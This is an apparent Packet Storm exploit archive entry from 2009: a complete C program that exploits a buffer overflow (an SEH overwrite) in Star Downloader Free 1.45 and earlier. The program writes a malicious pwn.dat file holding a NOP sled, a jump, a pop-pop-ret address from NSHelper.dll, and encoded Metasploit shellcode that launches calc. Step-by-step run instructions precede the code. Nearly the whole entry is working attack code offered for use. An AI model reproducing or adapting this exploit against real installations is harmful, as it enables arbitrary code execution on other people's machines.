Star Downloader Free 1.45 Overwrite

2009-04-15T00:00:00
ID PACKETSTORM:76669
Type packetstorm
Reporter dun
Modified 2009-04-15T00:00:00

Description

                                        
                                            `/*   
:::::::-. ... ::::::. :::.  
;;, `';, ;; ;;;`;;;;, `;;;  
`[[ [[[[' [[[ [[[[[. '[[  
$$, $$$$ $$$ $$$ "Y$c$$  
888_,o8P'88 .d888 888 Y88  
MMMMP"` "YmmMMMM"" MMM YM  
[ Discovered and Exploited by dun ]  
  
  
[ Star Downloader Free <= v1.45 ] (.dat) Universal SEH Overwrite Exploit  
  
Vendor: http://www.stardownloader.com  
Download: http://www.stardownloader.com/sdfree.exe  
  
Vuln:  
LocalFileName=A x 1398  
  
1 run this expl( create file pwn.dat in "C:\Program Files\Star Downloader\Partial Downloads\" directory )  
2 now run Star Downloader Free  
3 .. ;0  
  
[ dun'at'strcpy.pl / 2009 ]   
*/  
  
  
#include <windows.h>  
#include <stdio.h>  
  
/*  
  
/SafeSEH OFF 0x10000000 0x10025000 1, 0, 0, 1 C:\Program Files\Star Downloader\NSHelper.dll  
  
C:\crack>Findjmp2.exe "C:\Program Files\Star Downloader\NSHelper.dll" EBX  
...  
0x100112C2 pop EBX - pop - ret  
...  
*/  
  
#define RET 0x100112C2 // pop-pop-ret  
#define JMP 0x909011EB // short jump (jmp 11)  
#define NOP 0x90  
#define LEN 1390+4+4+40+343  
  
  
char header1[] =  
"\x5B\x4F\x70\x74\x69\x6F\x6E\x73\x5D\x0A\x0A\x55\x52\x4C\x3D\x68"  
"\x74\x74\x70\x3A\x2F\x2F\x67\x6F\x6F\x67\x6C\x65\x2E\x63\x6F\x6D"  
"\x0A\x4C\x6F\x63\x61\x6C\x46\x69\x6C\x65\x4E\x61\x6D\x65\x3D";  
  
char header2[] =   
"\x0A\x53\x74\x61\x74\x75\x73\x3D\x53\x63\x68\x65\x64\x75\x6C\x65"  
"\x64\x0A\x46\x69\x6C\x65\x53\x69\x7A\x65\x3D\x30\x0A\x4E\x75\x6D"  
"\x4F\x66\x50\x61\x72\x74\x73\x3D\x2D\x31\x0A\x43\x61\x74\x65\x67"  
"\x6F\x72\x79\x3D\x0A\x44\x65\x73\x63\x72\x69\x70\x74\x69\x6F\x6E"  
"\x3D\x0A";  
  
// win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com  
char scode[] =  
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"  
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"  
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"  
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"  
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"  
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47"  
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48"  
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38"  
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c"  
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"  
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48"  
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44"  
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48"  
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33"  
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37"  
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a"  
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b"  
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53"  
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57"  
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59"  
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56"  
"\x4e\x56\x43\x46\x42\x30\x5a";  
  
  
int main() {  
  
FILE *file;  
  
char buf[LEN+1];  
char *ptr=buf;  
  
  
memset(buf,NOP,LEN);  
buf[LEN]='\0';  
*(unsigned long *)&buf[1389] = JMP;  
*(unsigned long *)&buf[1393] = RET;  
ptr+=1390+4+4+40;  
memcpy(ptr, scode, strlen(scode));  
  
file=fopen("C:\\Program Files\\Star Downloader\\Partial Downloads\\pwn.dat","w");  
  
fputs(header1,file);  
fputs(buf,file);  
fputs(header2,file);  
  
fclose(file);  
  
printf("Done..\n");  
return 0;   
}  
  
  
`